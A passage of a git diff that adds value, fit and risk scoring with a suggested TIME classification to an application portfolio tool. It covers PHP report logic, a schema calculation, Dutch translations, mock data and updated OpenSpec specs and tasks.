withdrawn": "This version was withdrawn", + "Value / fit / risk": "Value / fit / risk", + "Value assessment": "Value assessment", + "How much the organisation depends on this application, from 1 (little) to 5 (critical).": "How much the organisation depends on this application, from 1 (little) to 5 (critical).", + "How well the application fits the architecture and the standards the organisation follows, from 1 (poor) to 5 (good).": "How well the application fits the architecture and the standards the organisation follows, from 1 (poor) to 5 (good).", + "Risk": "Risk", + "The risk the organisation sees in running this application, from 1 (low) to 5 (high). The page shows end of support and known vulnerabilities next to it.": "The risk the organisation sees in running this application, from 1 (low) to 5 (high). The page shows end of support and known vulnerabilities next to it.", + "Scored on": "Scored on", + "The date the scores were set.": "The date the scores were set.", + "Suggested TIME classification": "Suggested TIME classification", + "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.": "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision." } } diff --git a/l10n/nl.js b/l10n/nl.js index b2a3bd845..5d5db0a5b 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -938,7 +938,40 @@ OC.L10N.register( "Loading the roadmap": "Roadmap laden", "The roadmap could not be loaded.": "De roadmap kon niet worden geladen.", "The supplier has not published a roadmap for this application": "De leverancier heeft geen roadmap voor deze applicatie gepubliceerd", - "No versions with a date yet": "Nog geen versies met een datum" + "No versions with a date yet": "Nog geen versies met een datum", + "{name}: business value {value}, technical fit {fit}, annualised cost {cost}": "{name}: bedrijfswaarde {value}, technische geschiktheid {fit}, jaarlijkse kosten {cost}", + "%n application in use is not scored yet.": "%n applicatie in gebruik heeft nog geen score.", + "%n applications in use are not scored yet.": "%n applicaties in gebruik hebben nog geen score.", + "%n vulnerability linked to this application": "%n kwetsbaarheid gekoppeld aan deze applicatie", + "%n vulnerabilities linked to this application": "%n kwetsbaarheden gekoppeld aan deze applicatie", + "Business value": "Bedrijfswaarde", + "Business value against technical fit": "Bedrijfswaarde tegenover technische geschiktheid", + "Business value against technical fit for %n scored application in use": "Bedrijfswaarde tegenover technische geschiktheid voor %n applicatie in gebruik met een score", + "Business value against technical fit for %n scored applications in use": "Bedrijfswaarde tegenover technische geschiktheid voor %n applicaties in gebruik met een score", + "Each circle is an application in use, its size the annualised cost. A dark ring marks a recorded TIME class that differs from the scores.": "Elke cirkel is een applicatie in gebruik, de grootte staat voor de jaarlijkse kosten. Een donkere rand markeert een vastgelegde TIME-klasse die afwijkt van de scores.", + "Known vulnerabilities": "Bekende kwetsbaarheden", + "Loading the risk signals": "Risicosignalen laden", + "No end of support date known": "Geen datum voor einde ondersteuning bekend", + "Not scored": "Geen score", + "Passed on {date}": "Verlopen op {date}", + "Recorded class differs from scores": "Vastgelegde klasse wijkt af van de scores", + "Risk score": "Risicoscore", + "Risk signals": "Risicosignalen", + "Suggested by scores": "Voorgesteld door de scores", + "Supported until {date}": "Ondersteund tot {date}", + "Technical fit": "Technische geschiktheid", + "The risk signals could not be loaded.": "De risicosignalen konden niet worden geladen.", + "This version was withdrawn": "Deze versie is ingetrokken", + "Value / fit / risk": "Waarde / geschiktheid / risico", + "Value assessment": "Waardebeoordeling", + "How much the organisation depends on this application, from 1 (little) to 5 (critical).": "Hoe sterk de organisatie van deze applicatie afhangt, van 1 (weinig) tot 5 (kritiek).", + "How well the application fits the architecture and the standards the organisation follows, from 1 (poor) to 5 (good).": "Hoe goed de applicatie past bij de architectuur en de standaarden die de organisatie volgt, van 1 (slecht) tot 5 (goed).", + "Risk": "Risico", + "The risk the organisation sees in running this application, from 1 (low) to 5 (high). The page shows end of support and known vulnerabilities next to it.": "Het risico dat de organisatie ziet in het gebruik van deze applicatie, van 1 (laag) tot 5 (hoog). De pagina toont het einde van de ondersteuning en bekende kwetsbaarheden ernaast.", + "Scored on": "Gescoord op", + "The date the scores were set.": "De datum waarop de scores zijn vastgesteld.", + "Suggested TIME classification": "Voorgestelde TIME-classificatie", + "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.": "De TIME-klasse waar de bedrijfswaarde en de technische geschiktheid op wijzen. Berekend bij het opslaan van het gebruik; de vastgelegde TIME-classificatie blijft het besluit." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index d4af67c76..f84eed6e2 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -937,6 +937,39 @@ "Loading the roadmap": "Roadmap laden", "The roadmap could not be loaded.": "De roadmap kon niet worden geladen.", "The supplier has not published a roadmap for this application": "De leverancier heeft geen roadmap voor deze applicatie gepubliceerd", - "No versions with a date yet": "Nog geen versies met een datum" + "No versions with a date yet": "Nog geen versies met een datum", + "{name}: business value {value}, technical fit {fit}, annualised cost {cost}": "{name}: bedrijfswaarde {value}, technische geschiktheid {fit}, jaarlijkse kosten {cost}", + "%n application in use is not scored yet.": "%n applicatie in gebruik heeft nog geen score.", + "%n applications in use are not scored yet.": "%n applicaties in gebruik hebben nog geen score.", + "%n vulnerability linked to this application": "%n kwetsbaarheid gekoppeld aan deze applicatie", + "%n vulnerabilities linked to this application": "%n kwetsbaarheden gekoppeld aan deze applicatie", + "Business value": "Bedrijfswaarde", + "Business value against technical fit": "Bedrijfswaarde tegenover technische geschiktheid", + "Business value against technical fit for %n scored application in use": "Bedrijfswaarde tegenover technische geschiktheid voor %n applicatie in gebruik met een score", + "Business value against technical fit for %n scored applications in use": "Bedrijfswaarde tegenover technische geschiktheid voor %n applicaties in gebruik met een score", + "Each circle is an application in use, its size the annualised cost. A dark ring marks a recorded TIME class that differs from the scores.": "Elke cirkel is een applicatie in gebruik, de grootte staat voor de jaarlijkse kosten. Een donkere rand markeert een vastgelegde TIME-klasse die afwijkt van de scores.", + "Known vulnerabilities": "Bekende kwetsbaarheden", + "Loading the risk signals": "Risicosignalen laden", + "No end of support date known": "Geen datum voor einde ondersteuning bekend", + "Not scored": "Geen score", + "Passed on {date}": "Verlopen op {date}", + "Recorded class differs from scores": "Vastgelegde klasse wijkt af van de scores", + "Risk score": "Risicoscore", + "Risk signals": "Risicosignalen", + "Suggested by scores": "Voorgesteld door de scores", + "Supported until {date}": "Ondersteund tot {date}", + "Technical fit": "Technische geschiktheid", + "The risk signals could not be loaded.": "De risicosignalen konden niet worden geladen.", + "This version was withdrawn": "Deze versie is ingetrokken", + "Value / fit / risk": "Waarde / geschiktheid / risico", + "Value assessment": "Waardebeoordeling", + "How much the organisation depends on this application, from 1 (little) to 5 (critical).": "Hoe sterk de organisatie van deze applicatie afhangt, van 1 (weinig) tot 5 (kritiek).", + "How well the application fits the architecture and the standards the organisation follows, from 1 (poor) to 5 (good).": "Hoe goed de applicatie past bij de architectuur en de standaarden die de organisatie volgt, van 1 (slecht) tot 5 (goed).", + "Risk": "Risico", + "The risk the organisation sees in running this application, from 1 (low) to 5 (high). The page shows end of support and known vulnerabilities next to it.": "Het risico dat de organisatie ziet in het gebruik van deze applicatie, van 1 (laag) tot 5 (hoog). De pagina toont het einde van de ondersteuning en bekende kwetsbaarheden ernaast.", + "Scored on": "Gescoord op", + "The date the scores were set.": "De datum waarop de scores zijn vastgesteld.", + "Suggested TIME classification": "Voorgestelde TIME-classificatie", + "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.": "De TIME-klasse waar de bedrijfswaarde en de technische geschiktheid op wijzen. Berekend bij het opslaan van het gebruik; de vastgelegde TIME-classificatie blijft het besluit." } } diff --git a/lib/Service/PortfolioReportDerivation.php b/lib/Service/PortfolioReportDerivation.php index 324079fe3..19b79d12d 100644 --- a/lib/Service/PortfolioReportDerivation.php +++ b/lib/Service/PortfolioReportDerivation.php @@ -252,4 +252,112 @@ static function ($object) { $results ); }//end normalizeResults() + /** + * Read a 1 to 5 score, or null when it is absent or out of range. + * + * @param mixed $value The stored value. + * + * @return int|null The score. + * + * @spec openspec/specs/application-value-assessment/spec.md#requirement-req-ava-001-an-organisation-scores-each-application-it-uses-on-value-fit-and-risk + */ + private function score(mixed $value): ?int { + if (is_numeric($value) === false) { + return null; + } + + $score = (int)$value; + if ($score < 1 || $score > 5) { + return null; + } + + return $score; + }//end score() + + /** + * The TIME class business value and technical fit point to. The same rule as + * the usage schema's `suggestedTimeClassification` calculation + * (`lib/Settings/register.d/value-assessment.json`), used when a usage was + * saved before that calculation existed. + * + * @param int|null $businessValue The business value, 1 to 5. + * @param int|null $technicalFit The technical fit, 1 to 5. + * + * @return string|null Invest, Migrate, Tolerate or Eliminate; null while a score is missing. + * + * @spec openspec/specs/application-value-assessment/spec.md#requirement-req-ava-001-an-organisation-scores-each-application-it-uses-on-value-fit-and-risk + */ + public function suggestTimeClassification(?int $businessValue, ?int $technicalFit): ?string { + if ($businessValue === null || $technicalFit === null) { + return null; + } + + if ($businessValue >= 3) { + if ($technicalFit >= 3) { + return 'Invest'; + } + + return 'Migrate'; + } + + if ($technicalFit >= 3) { + return 'Tolerate'; + } + + return 'Eliminate'; + }//end suggestTimeClassification() + + /** + * The value assessment of one gebruik: its scores, the suggested TIME class + * (the stored calculation, else the same rule over the scores) and whether + * the recorded class differs from that suggestion. + * + * @param array $usage The gebruik data bag. + * @param string|null $classification The recorded TIME class. + * @param string|null $storedSuggestion The materialised suggestion, normalised. + * + * @return array The score fields of the row. + * + * @spec openspec/specs/application-value-assessment/spec.md#requirement-req-ava-003-the-portfolio-report-plots-value-against-fit-and-flags-classes-the-scores-contradict + */ + public function valueAssessment(array $usage, ?string $classification, ?string $storedSuggestion): array { + $value = $this->score(value: $usage['businessValue'] ?? null); + $fit = $this->score(value: $usage['technicalFit'] ?? null); + + $suggested = $storedSuggestion; + if ($suggested === null) { + $suggested = $this->suggestTimeClassification(businessValue: $value, technicalFit: $fit); + } + + $scoredOn = null; + if (is_string($usage['scoredOn'] ?? null) === true && $usage['scoredOn'] !== '') { + $scoredOn = $usage['scoredOn']; + } + + return [ + 'businessValue' => $value, + 'technicalFit' => $fit, + 'riskScore' => $this->score(value: $usage['riskScore'] ?? null), + 'scoredOn' => $scoredOn, + 'suggestedTimeClassification' => $suggested, + 'timeMismatch' => $classification !== null && $suggested !== null && $classification !== $suggested, + ]; + }//end valueAssessment() + + /** + * The CSV cell for the mismatch flag. + * + * @param array $row A report row. + * + * @return string "yes" or "no". + * + * @spec openspec/specs/application-value-assessment/spec.md#requirement-req-ava-003-the-portfolio-report-plots-value-against-fit-and-flags-classes-the-scores-contradict + */ + public function mismatchLabel(array $row): string { + if (($row['timeMismatch'] ?? false) === true) { + return 'yes'; + } + + return 'no'; + }//end mismatchLabel() }//end class diff --git a/lib/Service/PortfolioReportService.php b/lib/Service/PortfolioReportService.php index 56187fdb1..18401a959 100644 --- a/lib/Service/PortfolioReportService.php +++ b/lib/Service/PortfolioReportService.php @@ -181,6 +181,12 @@ public function buildCsv(string $organisationUuid): string { 'hostingModel', 'annualisedCost', 'oneOffCost', + 'businessValue', + 'technicalFit', + 'riskScore', + 'scoredOn', + 'suggestedTimeClassification', + 'timeMismatch', ] ); @@ -198,6 +204,12 @@ public function buildCsv(string $organisationUuid): string { implode('|', $row['hostingModel']), (string)$row['annualisedCost'], (string)$row['oneOffCost'], + (string)($row['businessValue'] ?? ''), + (string)($row['technicalFit'] ?? ''), + (string)($row['riskScore'] ?? ''), + $row['scoredOn'] ?? '', + $row['suggestedTimeClassification'] ?? '', + $this->derivation->mismatchLabel(row: $row), ] ); } @@ -309,8 +321,13 @@ private function buildRow(array $usage, array $cfg, array $contractsByGebruik, D } $classification = $this->normalizeClassification(value: $usage['timeClassification'] ?? null); + $scores = $this->derivation->valueAssessment( + usage: $usage, + classification: $classification, + storedSuggestion: $this->normalizeClassification(value: $usage['suggestedTimeClassification'] ?? null) + ); - return [ + return $scores + [ 'uuid' => $gebruikId, 'moduleId' => $moduleId, 'moduleName' => $module['name'] ?? $module['title'] ?? $moduleId, diff --git a/lib/Settings/register.d/value-assessment.json b/lib/Settings/register.d/value-assessment.json new file mode 100644 index 000000000..29d4d4b91 --- /dev/null +++ b/lib/Settings/register.d/value-assessment.json @@ -0,0 +1,145 @@ +{ + "components": { + "schemas": { + "usage": { + "version": "1.5.3", + "properties": { + "businessValue": { + "type": "integer", + "minimum": 1, + "maximum": 5, + "title": "Business value", + "description": "How much the organisation depends on this application, from 1 (little) to 5 (critical).", + "visible": true, + "facetable": true, + "order": 35, + "example": "4" + }, + "technicalFit": { + "type": "integer", + "minimum": 1, + "maximum": 5, + "title": "Technical fit", + "description": "How well the application fits the architecture and the standards the organisation follows, from 1 (poor) to 5 (good).", + "visible": true, + "facetable": true, + "order": 36, + "example": "4" + }, + "riskScore": { + "type": "integer", + "minimum": 1, + "maximum": 5, + "title": "Risk", + "description": "The risk the organisation sees in running this application, from 1 (low) to 5 (high). The page shows end of support and known vulnerabilities next to it.", + "visible": true, + "facetable": true, + "order": 37, + "example": "4" + }, + "scoredOn": { + "type": "string", + "format": "date", + "title": "Scored on", + "description": "The date the scores were set.", + "visible": true, + "facetable": false, + "order": 38, + "example": "2026-10-01" + }, + "suggestedTimeClassification": { + "type": "string", + "enum": [ + "Tolerate", + "Invest", + "Migrate", + "Eliminate" + ], + "title": "Suggested TIME classification", + "description": "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.", + "visible": true, + "facetable": true, + "hideOnForm": true, + "order": 39 + } + }, + "configuration": { + "x-openregister-calculations": { + "suggestedTimeClassification": { + "type": "string", + "materialise": true, + "description": "Invest when business value and technical fit are both 3 or more, Migrate when only value is, Tolerate when only fit is, Eliminate when neither is; empty while either score is missing.", + "expression": { + "if": [ + { + "or": [ + { + "eq": [ + { + "prop": "businessValue" + }, + null + ] + }, + { + "eq": [ + { + "prop": "technicalFit" + }, + null + ] + } + ] + }, + { + "lit": null + }, + { + "if": [ + { + "gte": [ + { + "prop": "businessValue" + }, + 3 + ] + }, + { + "if": [ + { + "gte": [ + { + "prop": "technicalFit" + }, + 3 + ] + }, + "Invest", + "Migrate" + ] + }, + { + "if": [ + { + "gte": [ + { + "prop": "technicalFit" + }, + 3 + ] + }, + "Tolerate", + "Eliminate" + ] + } + ] + } + ] + } + } + } + } + } + } + } +} diff --git a/lib/Settings/stackiq_mock_register.json b/lib/Settings/stackiq_mock_register.json index 07cbadb7e..c13d6d0ba 100644 --- a/lib/Settings/stackiq_mock_register.json +++ b/lib/Settings/stackiq_mock_register.json @@ -9023,7 +9023,12 @@ "plannedReplacementDate": "2026-03-01", "timeClassification": "Tolerate", "timeRationale": "Voorbeeld Timerationale 1", - "timeReviewDate": "2026-03-01" + "timeReviewDate": "2026-03-01", + "businessValue": 1, + "technicalFit": 2, + "riskScore": 4, + "scoredOn": "2026-09-01", + "suggestedTimeClassification": "Eliminate" }, { "@self": { @@ -9065,7 +9070,12 @@ "plannedReplacementDate": "2026-03-02", "timeClassification": "Invest", "timeRationale": "Voorbeeld Timerationale 2", - "timeReviewDate": "2026-03-02" + "timeReviewDate": "2026-03-02", + "businessValue": 5, + "technicalFit": 4, + "riskScore": 2, + "scoredOn": "2026-09-01", + "suggestedTimeClassification": "Invest" }, { "@self": { @@ -9109,7 +9119,12 @@ "plannedReplacementDate": "2026-03-03", "timeClassification": "Migrate", "timeRationale": "Voorbeeld Timerationale 3", - "timeReviewDate": "2026-03-03" + "timeReviewDate": "2026-03-03", + "businessValue": 5, + "technicalFit": 2, + "riskScore": 3, + "scoredOn": "2026-09-01", + "suggestedTimeClassification": "Migrate" }, { "@self": { @@ -10594,7 +10609,12 @@ "plannedReplacementDate": "2026-03-01", "timeClassification": "Tolerate", "timeRationale": "Voorbeeld Timerationale 1", - "timeReviewDate": "2026-03-01" + "timeReviewDate": "2026-03-01", + "businessValue": 2, + "technicalFit": 4, + "riskScore": 2, + "scoredOn": "2026-09-01", + "suggestedTimeClassification": "Tolerate" }, { "@self": { @@ -10636,7 +10656,12 @@ "plannedReplacementDate": "2026-03-02", "timeClassification": "Invest", "timeRationale": "Voorbeeld Timerationale 2", - "timeReviewDate": "2026-03-02" + "timeReviewDate": "2026-03-02", + "businessValue": 4, + "technicalFit": 5, + "riskScore": 1, + "scoredOn": "2026-09-01", + "suggestedTimeClassification": "Invest" }, { "@self": { @@ -10680,7 +10705,12 @@ "plannedReplacementDate": "2026-03-03", "timeClassification": "Migrate", "timeRationale": "Voorbeeld Timerationale 3", - "timeReviewDate": "2026-03-03" + "timeReviewDate": "2026-03-03", + "businessValue": 4, + "technicalFit": 1, + "riskScore": 5, + "scoredOn": "2026-09-01", + "suggestedTimeClassification": "Migrate" }, { "@self": { diff --git a/openspec/changes/lifecycle-application-value-assessment/.openspec.yaml b/openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment/.openspec.yaml similarity index 100% rename from openspec/changes/lifecycle-application-value-assessment/.openspec.yaml rename to openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment/.openspec.yaml diff --git a/openspec/changes/lifecycle-application-value-assessment/design.md b/openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment/design.md similarity index 79% rename from openspec/changes/lifecycle-application-value-assessment/design.md rename to openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment/design.md index 66208d74c..aa1ce68f7 100644 --- a/openspec/changes/lifecycle-application-value-assessment/design.md +++ b/openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment/design.md @@ -46,3 +46,10 @@ The demo usages get scores that land in all four suggested classes, one of them ## Risks - Existing usages have no scores; the chart shows "not scored" as a count instead of a point. + +## Changes at build (2026-09-30) + +- D3: the scores, the recorded TIME class and the suggestion got their own `data` section on the usage page (`gb-assessment`, "Value assessment"); `UsageRiskSignals` is a body widget placed after the data. `timeClassification` moved from the first data section into that section. +- D4: the value against fit chart is a small SVG component (`src/components/portfolio/ValueFitPlot.vue`) instead of `CnChartWidget`: the library's chart takes series of numbers, and a bubble per usage with its own colour, ring and tooltip needs per-point styling it does not expose. The mismatch filter is an `NcCheckboxRadioSwitch` over the table. +- D4: `buildRow()` falls back to the same rule in `PortfolioReportDerivation::suggestTimeClassification()` for a usage saved before the calculation existed (no materialised value yet); a test keeps that rule equal to the declared expression. +- The fragment moves `usage` to 1.5.3. diff --git a/openspec/changes/lifecycle-application-value-assessment/proposal.md b/openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment/proposal.md similarity index 100% rename from openspec/changes/lifecycle-application-value-assessment/proposal.md rename to openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment/proposal.md diff --git a/openspec/changes/lifecycle-application-value-assessment/specs/application-value-assessment/spec.md b/openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment/specs/application-value-assessment/spec.md similarity index 94% rename from openspec/changes/lifecycle-application-value-assessment/specs/application-value-assessment/spec.md rename to openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment/specs/application-value-assessment/spec.md index c795f9e05..f6911110a 100644 --- a/openspec/changes/lifecycle-application-value-assessment/specs/application-value-assessment/spec.md +++ b/openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment/specs/application-value-assessment/spec.md @@ -28,7 +28,7 @@ A usage SHALL record business value, technical fit and risk, each from 1 to 5, a The usage page SHALL show, next to the risk score, the end-of-support state of the version the organisation runs and the number of vulnerabilities linked to the application. #### Scenario: Signals that back a high risk score -@e2e exclude Read-only widget; tests/vitest/usageRiskSignals.spec.js covers the EOL state and the vulnerability count. +@e2e exclude Read-only widget; tests/vitest/valueAssessment.spec.js (riskSignals, the usage page) covers the EOL state and the vulnerability count. - **GIVEN** a usage whose version passed its end of support and whose application has two linked vulnerabilities - **WHEN** the information manager opens the usage page diff --git a/openspec/changes/lifecycle-application-value-assessment/tasks.md b/openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment/tasks.md similarity index 74% rename from openspec/changes/lifecycle-application-value-assessment/tasks.md rename to openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment/tasks.md index f4fb5ecfe..bbd6e0cba 100644 --- a/openspec/changes/lifecycle-application-value-assessment/tasks.md +++ b/openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment/tasks.md @@ -8,16 +8,16 @@ - **acceptance_criteria**: - GIVEN a usage with business value 5 and technical fit 2 WHEN it is saved THEN its suggested class is Migrate - GIVEN a usage with no technical fit WHEN it is saved THEN its suggested class is empty -- [ ] Implement -- [ ] Test (PHPUnit `tests/Unit/Settings/ValueAssessmentFragmentTest.php`: fields, calculation shape and the four mappings) +- [x] Implement +- [x] Test (PHPUnit `tests/Unit/Settings/ValueAssessmentFragmentTest.php`: fields, calculation shape and the four mappings; the expression also ran through OpenRegister's real CalculationAnnotationValidator and CalculationEvaluator, 36 combinations, 0 mismatches) ### Task 2: Risk signals on the usage page - **spec_ref**: openspec/changes/lifecycle-application-value-assessment/specs/application-value-assessment/spec.md#requirement-req-ava-002-the-usage-page-shows-the-risk-signals-next-to-the-risk-score - **files**: `src/components/portfolio/UsageRiskSignals.vue`, `src/customComponents.js`, `src/manifest.d/usages.json` - **acceptance_criteria**: - GIVEN a usage whose version is past end of support and whose application has two vulnerabilities WHEN the page opens THEN both signals show next to the risk score -- [ ] Implement -- [ ] Test (vitest `tests/vitest/usageRiskSignals.spec.js`) +- [x] Implement +- [x] Test (vitest `tests/vitest/valueAssessment.spec.js`: riskSignals and the usage page wiring; built as one spec file with the report tests) ### Task 3: Portfolio report additions - **spec_ref**: openspec/changes/lifecycle-application-value-assessment/specs/application-value-assessment/spec.md#requirement-req-ava-003-the-portfolio-report-plots-value-against-fit-and-flags-classes-the-scores-contradict @@ -26,16 +26,16 @@ - GIVEN scored usages WHEN the report opens THEN the value against fit chart shows one point per scored usage sized by cost - GIVEN a usage recorded Tolerate with scores that suggest Eliminate WHEN the user picks the mismatch filter THEN it is listed - GIVEN the CSV export WHEN it downloads THEN it holds the score and suggestion columns -- [ ] Implement -- [ ] Test (PHPUnit `tests/Unit/Controller/PortfolioReportControllerTest.php` and a service test for the new row fields; Playwright `tests/e2e/workflows/portfolio-value.spec.ts`) +- [x] Implement +- [x] Test (PHPUnit `tests/Unit/Service/PortfolioReportServiceTest.php` testRowsCarryTheScoresAndTheMismatch and testTheCsvCarriesTheScoreColumns; vitest `tests/vitest/valueAssessment.spec.js` valueFitPoints and mismatchRows; Playwright `tests/e2e/workflows/portfolio-value.spec.ts`, written and listed, not run: no seeded instance) ### Task 4: Documentation - **spec_ref**: openspec/changes/lifecycle-application-value-assessment/specs/application-value-assessment/spec.md#requirement-req-ava-003-the-portfolio-report-plots-value-against-fit-and-flags-classes-the-scores-contradict - **files**: `docs/features/portfolio-value-assessment.md`, `docs/images/portfolio-value-fit.png` - **acceptance_criteria**: - GIVEN the docs site WHEN a reader opens Value assessment THEN scoring, the suggestion and the chart are explained with a screenshot -- [ ] Implement -- [ ] Test (docs build, screenshot with Playwright) +- [x] Implement +- [ ] Test (docs build, screenshot with Playwright): the page `docs/features/portfolio-value-assessment.md` is written; its screenshot waits for a seeded instance ## Verification diff --git a/openspec/parity/capabilities.json b/openspec/parity/capabilities.json index fa3ef27bd..9f8a945d3 100644 --- a/openspec/parity/capabilities.json +++ b/openspec/parity/capabilities.json @@ -4567,18 +4567,19 @@ "name": "Score each application on business value, cost and risk to decide where to invest.", "origin": "tender", "originUrl": "https://www.tenderned.nl/aankondigingen/overzicht/398728", - "stackiq": "no", + "stackiq": "yes", "built": { - "state": "specified", - "evidence": "lib/Settings/softwarecatalogus_register.json:3092 usage.timeClassification holds only the TIME verdict and its rationale; no business value, technical fit or risk score property on module or usage, and PortfolioReport (src/manifest.json:1040) plots the TIME quadrant only", - "owner": "ConductionNL/stackiq" + "state": "built", + "evidence": "lib/Settings/register.d/value-assessment.json usage.businessValue, technicalFit, riskScore, scoredOn and the materialised x-openregister-calculations suggestedTimeClassification; usage page Value assessment section and src/components/portfolio/UsageRiskSignals.vue; lib/Service/PortfolioReportService.php row and CSV columns with timeMismatch; src/components/portfolio/ValueFitPlot.vue and the mismatch switch on PortfolioReport; tests/Unit/Settings/ValueAssessmentFragmentTest.php, tests/Unit/Service/PortfolioReportServiceTest.php, tests/vitest/valueAssessment.spec.js", + "owner": "ConductionNL/stackiq", + "change": "2026-09-30-lifecycle-application-value-assessment" }, - "reachedOn": "nothing reaches it", + "reachedOn": "usage page Value assessment and Risk signals; Reports > Portfolio rationalization value against fit chart and Recorded class differs from scores switch", "provider": "stackiq", "providerHow": "read-from-code", "feature": "portfolio-reporting", "featureConfidence": "medium", - "note": "Helmond REQ41 asks for analysis of application use, cost, risk and value. stackiq records a TIME classification (life-time-classification) without the scores that would justify it. Specified in openspec/changes/lifecycle-application-value-assessment (OpenSpec pass 2026-09-27).", + "note": "Helmond REQ41 asks for analysis of application use, cost, risk and value. stackiq records a TIME classification (life-time-classification) without the scores that would justify it. Specified in openspec/changes/lifecycle-application-value-assessment (OpenSpec pass 2026-09-27). Built by openspec/changes/archive/2026-09-30-lifecycle-application-value-assessment.", "vng-softwarecatalogus": "unknown", "evidence": { "vng-softwarecatalogus": "unknown: no value, cost or risk scoring is described; searched the public manuals and FAQ at https://www.softwarecatalogus.nl/node/16564, https://www.softwarecatalogus.nl/node/13683, https://www.softwarecatalogus.nl/node/19703, https://www.softwarecatalogus.nl/Gebruikershandleiding_leverancier (read 2026-09-26)", diff --git a/openspec/specs/application-value-assessment/spec.md b/openspec/specs/application-value-assessment/spec.md new file mode 100644 index 000000000..0934be6a7 --- /dev/null +++ b/openspec/specs/application-value-assessment/spec.md @@ -0,0 +1,40 @@ +# application-value-assessment Specification + +## Purpose +Each application in use carries scores for business value, technical fit and risk, next to its cost, so a TIME decision has recorded reasons. Matrix row `stackiq:life-value-assessment`. + +## Requirements + +### Requirement: REQ-AVA-001 An organisation scores each application it uses on value, fit and risk + +A usage SHALL record business value, technical fit and risk, each from 1 to 5, and the date they were scored. Stackiq SHALL derive a suggested TIME class from value and fit: Invest when both are 3 or more, Migrate when value is 3 or more and fit is lower, Tolerate when fit is 3 or more and value is lower, Eliminate when both are lower, and no suggestion while either is missing. The recorded TIME class SHALL NOT change by itself. + +#### Scenario: An information manager scores an application +@e2e tests/e2e/workflows/portfolio-value.spec.ts + +- **GIVEN** a usage of application X recorded as Tolerate +- **WHEN** the information manager sets business value 5 and technical fit 2 on its page and saves +- **THEN** the page shows the suggested class Migrate +- **AND** the recorded class still reads Tolerate + +### Requirement: REQ-AVA-002 The usage page shows the risk signals next to the risk score + +The usage page SHALL show, next to the risk score, the end-of-support state of the version the organisation runs and the number of vulnerabilities linked to the application. + +#### Scenario: Signals that back a high risk score +@e2e exclude Read-only widget; tests/vitest/valueAssessment.spec.js (riskSignals, the usage page) covers the EOL state and the vulnerability count. + +- **GIVEN** a usage whose version passed its end of support and whose application has two linked vulnerabilities +- **WHEN** the information manager opens the usage page +- **THEN** it shows end of support passed and two vulnerabilities next to the risk score + +### Requirement: REQ-AVA-003 The portfolio report plots value against fit and flags classes the scores contradict + +The portfolio report SHALL plot the organisation's scored usages by business value and technical fit with annualised cost as point size, SHALL show the suggested class beside the recorded one, SHALL offer a filter on usages whose recorded class differs from the suggestion, and SHALL include the scores and the suggestion in its CSV export. + +#### Scenario: Finding the classes to revisit +@e2e tests/e2e/workflows/portfolio-value.spec.ts + +- **GIVEN** three scored usages, one recorded Tolerate whose scores suggest Eliminate +- **WHEN** the information manager opens the portfolio report and picks "Recorded class differs from scores" +- **THEN** only that usage is listed with Tolerate recorded and Eliminate suggested diff --git a/src/components/portfolio/UsageRiskSignals.vue b/src/components/portfolio/UsageRiskSignals.vue new file mode 100644 index 000000000..424cf2586 --- /dev/null +++ b/src/components/portfolio/UsageRiskSignals.vue @@ -0,0 +1,231 @@ + + + + + + diff --git a/src/components/portfolio/ValueFitPlot.vue b/src/components/portfolio/ValueFitPlot.vue new file mode 100644 index 000000000..de6b28eda --- /dev/null +++ b/src/components/portfolio/ValueFitPlot.vue @@ -0,0 +1,296 @@ + + + + + + diff --git a/src/customComponents.js b/src/customComponents.js index 25912a30f..02650884e 100644 --- a/src/customComponents.js +++ b/src/customComponents.js @@ -24,6 +24,7 @@ import ApplicationContractsPanel from './components/contracts/ApplicationContrac import ContractApprovalPanel from './components/contracts/ContractApprovalPanel.vue' import ContractSeatsPanel from './components/contracts/ContractSeatsPanel.vue' import OrganisationMergePanel from './components/organisations/OrganisationMergePanel.vue' +import UsageRiskSignals from './components/portfolio/UsageRiskSignals.vue' import ReviewsPanel from './components/reviews/ReviewsPanel.vue' import ProductRoadmap from './components/roadmap/ProductRoadmap.vue' import SbomComponentsPanel from './components/sbom/SbomComponentsPanel.vue' @@ -97,6 +98,12 @@ export default { // it reads the module and its versions, which no built-in widget combines. ProductRoadmap, + // End of support of the version a usage runs and the vulnerabilities of its + // application, next to the risk score on the usage page + // (lifecycle-application-value-assessment): it joins the usage, its version + // and the vulnerabilities, which no built-in widget does. + UsageRiskSignals, + // AI Act evidence per tag on the AI system page (landscape-ai-system-inventory): // it reads the object's files and their tags, which no built-in widget lists per tag. AiActChecklist, diff --git a/src/icons.js b/src/icons.js index 6a08b1924..865c514c0 100644 --- a/src/icons.js +++ b/src/icons.js @@ -57,6 +57,7 @@ import PackageVariantClosed from 'vue-material-design-icons/PackageVariantClosed import PowerPlugOutline from 'vue-material-design-icons/PowerPlugOutline.vue' import PuzzleOutline from 'vue-material-design-icons/PuzzleOutline.vue' import RobotOutline from 'vue-material-design-icons/RobotOutline.vue' +import ScaleBalance from 'vue-material-design-icons/ScaleBalance.vue' import ShieldAlert from 'vue-material-design-icons/ShieldAlert.vue' import ShieldAlertOutline from 'vue-material-design-icons/ShieldAlertOutline.vue' import ShieldCheckOutline from 'vue-material-design-icons/ShieldCheckOutline.vue' @@ -118,6 +119,7 @@ export default { PowerPlugOutline, PuzzleOutline, RobotOutline, + ScaleBalance, 